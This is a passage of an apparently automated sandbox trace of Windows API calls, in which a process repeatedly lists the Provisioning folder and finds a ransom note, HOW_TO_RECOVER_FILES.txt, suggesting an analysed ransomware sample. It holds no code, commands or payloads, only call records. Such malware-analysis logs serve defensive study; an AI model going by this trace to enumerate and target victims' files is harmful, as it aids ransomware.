ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4998cc2e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4998cc2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4998cc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d48b8b3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d48b8b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3e8f5d7a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e8f5d7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40a808b2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40a808b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4304dead, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4304dead, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x42bfb616, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x42bfb616, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x44683937, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x44683937, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x46cd64ff, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x46cd64ff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x48548b9d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x48548b9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0141.830] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43d206cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43d206cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40accccf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40accccf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x418f4c8c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x418f4c8c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x42d52f84, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x42d52f84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43f82c8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43f82c8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x440da1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440da1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x454d1d99, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x454d1d99, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x47613420, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x47613420, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x491bd9ac, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x491bd9ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x455b6b08, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x455b6b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x455b6b08, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x455b6b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0141.831] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0141.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0141.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0141.831] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x29 [0141.831] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4998cc2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4998cc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4998cc2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4998cc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4998cc2e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4998cc2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4998cc2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.831] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d48b8b3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d48b8b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3e8f5d7a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3e8f5d7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40a808b2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40a808b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4304dead, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4304dead, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x42bfb616, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x42bfb616, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x44683937, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x44683937, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x46cd64ff, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x46cd64ff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x48548b9d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x48548b9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43d206cf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43d206cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40accccf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40accccf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x418f4c8c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x418f4c8c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x42d52f84, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x42d52f84, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43f82c8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43f82c8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x440da1a4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440da1a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x454d1d99, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x454d1d99, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x47613420, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x47613420, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x491bd9ac, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x491bd9ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x455b6b08, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x455b6b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 